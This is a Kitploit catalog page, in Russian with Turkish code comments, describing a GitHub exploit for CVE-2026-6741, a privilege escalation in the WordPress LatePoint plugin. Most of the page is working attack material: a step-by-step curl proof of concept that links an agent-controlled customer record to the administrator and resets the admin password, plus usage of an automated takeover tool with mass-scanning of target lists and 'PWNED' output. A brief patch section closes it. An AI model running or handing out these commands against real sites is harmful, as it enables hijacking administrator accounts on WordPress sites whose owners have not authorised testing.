Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6741 — CVE-2026-6741 — это аутентифицированная (Agent+) уязвимость повышения привилегий с оценкой CVSS 8.8 (High) в плагине LatePoint – Calendar Booking Plugin. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-6741
Повышение привилегийСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 — это аутентифицированная (Agent+) уязвимость повышения привилегий с оценкой CVSS 8.8 (High) в плагине LatePoint – Calendar Booking Plugin.

Репозиторий
33 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-6741

CVE-2026-6741 — это уязвимость повышения привилегий (CVSS 8.8, High) с аутентификацией (Agent+) в плагине LatePoint – Calendar Booking Plugin.

CVE-2026-6741 — Сканер повышения привилегий LatePoint

Плагин: LatePoint – плагин календарного бронирования для встреч и событий (latepoint) CVE ID: CVE-2026-6741 Оценка CVSS: 8.8 (High) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Аутентифицированное (Agent+) повышение привилегий → захват администратора Затронутые версии: <= 5.4.1 Исправленная версия: 5.4.2 Дата публикации: 27 апреля 2026 Исследователи: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 Об уязвимости

Аутентифицированный злоумышленник с ролью latepoint_agent может связать любую запись customer LatePoint с учётной записью администратора WordPress, а затем, используя собственный процесс сброса пароля LatePoint, изменить пароль администратора.

Это приводит к полному захвату сайта.


🔍 Сводка уязвимости


⚙️ Технический анализ

WordPress Abilities API

LatePoint 5.3.0 добавил поддержку Abilities API, появившейся в WordPress 6.9+. Этот API позволяет плагинам регистрировать классы «ability», вызываемые через REST API:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

Путь уязвимого кода

1 — Определение ability (отсутствует проверка роли)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

Роль агента по умолчанию имеет возможность customer__edit:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — проверка роли отсутствует

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi bir WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Цепочка сброса пароля

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

Почему существующих проверок недостаточно?

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 Цепочка атаки

root@kitploit:~
latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

🧪 Proof of Concept (вручную)

⚠️ Отказ от ответственности: Этот PoC предоставлен только в образовательных целях и для защитных исследований безопасности.

Предварительные условия:

  • WordPress 6.9+ (требуется Abilities API)
  • LatePoint <= 5.4.1 установлен и активен
  • Учётная запись с ролью latepoint_agent
  • Контролируемая запись customer LatePoint

Шаг 1 — Вход агента + REST nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

Шаг 2 — Определение ID административного пользователя

root@kitploit:~
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

Шаг 3 — Привязка Customer → Admin (уязвимость)

root@kitploit:~
CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Ожидаемый ответ:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

Шаг 4 — Запуск сброса пароля

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint отправляет на адрес $CUSTOMER_EMAIL письмо для сброса пароля, содержащее токен account_nonce.


Шаг 5 — Изменение пароля

root@kitploit:~
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

Этот вызов запускает цепочку update_password() → wp_set_password($NEW_PASSWORD, 1). Пароль администратора изменён.


Шаг 6 — Вход в качестве администратора

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Проверка

root@kitploit:~
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ Автоматический сканер

Установка

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Использование

Одиночная цель — полностью автоматически

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Указать Admin ID и Customer ID вручную

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

Этап 2 — Смена пароля с помощью reset-токена

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

Массовое сканирование

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

Через прокси (Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Параметры

Общие

Учётные данные агента

ПараметрОписание
--agent-userИмя пользователя агента (обязательно)
--agent-passПароль агента (обязательно)

Параметры цели

ПараметрОписаниеПо умолчанию

Сброс пароля (этап 2)

ПараметрОписаниеПо умолчанию
--reset-tokenReset-токен, полученный по email—
--new-passwordНовый пароль администратораPwned_CVE2026_6741!

📊 Статусы вывода сканера


🖥️ Пример вывода сканера

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : otomatik tespit
[*] Customer ID   : otomatik tespit
[*] Reset Token   : email bekleniyor
[*] Yeni Şifre    : Pwned_CVE2026_6741!

[→] http://hedef.com  Adım 1/6: Agent girişi...
[→] http://hedef.com  Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com  Adım 3/6: Customer ID tespiti...
[→] http://hedef.com  Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com  Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com  Adım 6/6: Şifre değiştiriliyor (manuel token)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  Sürüm       : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  Kullanıcı   : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Kaydedildi → privesc_results.txt

🔄 Двухэтапный процесс использования

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  AŞAMA 1 — Bağla + Reset Emaili Gönder                 │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Email'den token al
                           │
┌─────────────────────────▼───────────────────────────────┐
│  AŞAMA 2 — Token ile Şifreyi Değiştir                  │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Çıktı: ★ PWNED — roles=['administrator']            │
└─────────────────────────────────────────────────────────┘

🛡️ Защита / Исправление

Пример безопасного execute():

root@kitploit:~
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 Структура файлов

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # Ana tarayıcı
├── requirements.txt       # Bağımlılıklar
└── README.md              # Bu dosya

⚠️ Юридическое предупреждение

Этот инструмент и PoC предназначены только для использования на авторизованных системах, в образовательных целях и в рамках тестирования на проникновение. Использование на системах без разрешения является преступлением согласно статьям 243–245 Уголовного кодекса Турции и международным законам о киберпреступности. Разработчик не несёт никакой юридической ответственности за неправомерное использование инструмента.


📄 Лицензия

MIT License — Только для образовательных и исследовательских целей.


🔗 Ссылки

  • Рекомендация Wordfence
  • WordPress Abilities API — WP 6.9
  • Каталог плагинов LatePoint
  • Калькулятор CVSS 3.1
  • CWE-269: Некорректное управление привилегиями
Скачать инструмент
ПолеЗначение
Название плагинаLatePoint – Calendar Booking Plugin
Слаг плагинаlatepoint
CVE IDCVE-2026-6741
Оценка CVSS8.8 (High)
Тип уязвимостиАутентифицированное (Agent+) повышение привилегий
Затронутая версия<= 5.4.1
Исправленная версия5.4.2
Требованиероль latepoint_agent, WordPress 6.9+
ПараметрСокращениеОписаниеПо умолчанию
--url-uURL одиночной цели—
--list-lФайл со списком целей—
--threads-tКоличество потоков5
--output-oВыходной файлprivesc_results.txt
--proxy—URL прокси—
--timeout—Таймаут запроса (сек)10
--force—Продолжать, даже если обнаружение Abilities API не удалосьFalse
--admin-id
ID целевого административного пользователя WordPress
автоматическое определение
--customer-idID контролируемой записи customer LatePointавтоматическое определение
--customer-emailАдрес email customer LatePointemail агента
СтатусОписание
★ PWNEDПароль администратора изменён, выполнен вход
~ RESET_SENTПисьмо для сброса отправлено — ожидается токен
~ PWD_CHANGEПароль изменён — проверьте вход администратора вручную
- LINK_FAILНе удалось связать Customer-Admin
- LOGIN_FAILНе удалось выполнить вход агента
- NO_PLUGINLatePoint не установлен
- NO_ABILITYAbilities API отключён (требуется WP 6.9+)
~ NO_CUSTCustomer ID не найден — укажите вручную
~ UNREACHЦель недоступна
МераРеализация
Обновление плагинаОбновите LatePoint до версии 5.4.2+
Добавьте проверку ролиПроверяйте роль целевого пользователя внутри execute()
Ограничьте Abilities APIУдалите возможность connect-customer-to-wp-user у роли агента
Защита сброса пароляОтключите процесс сброса LatePoint для учётных записей администратора
Аудит Abilities WordPress 6.9Регулярно просматривайте зарегистрированные ability